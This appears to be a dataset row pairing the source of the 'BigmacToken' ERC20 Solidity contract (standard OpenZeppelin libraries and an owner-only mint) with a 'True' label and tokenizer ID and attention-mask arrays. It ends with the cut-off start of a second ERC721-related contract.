1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
Website: https://bigmac.finance
██████ ██ ██████ ███ ███ █████ ██████
██ ██ ██ ██ ████ ████ ██ ██ ██
██████ ██ ██ ███ ██ ████ ██ ███████ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ██████ ██ ██ ██ ██ ██████
.finance
forked from KIMCHI and SUSHI
*/
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {codehash := extcodehash(account)}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
// BigmacToken with Governance.
contract BigmacToken is ERC20("Bigmac.finance", "BIG"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
} | True | [
101,
1013,
1008,
1008,
4037,
1024,
16770,
1024,
1013,
1013,
2502,
22911,
1012,
5446,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
1012,
5446,
9292,
2098,
2013,
5035,
5428,
1998,
10514,
6182,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
28177,
2078,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
pragma solidity ^0.4.24;
interface ERC721TokenReceiver
{
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) external returns(bytes4);
}
library Strings {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
uint i = 0;
for (i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
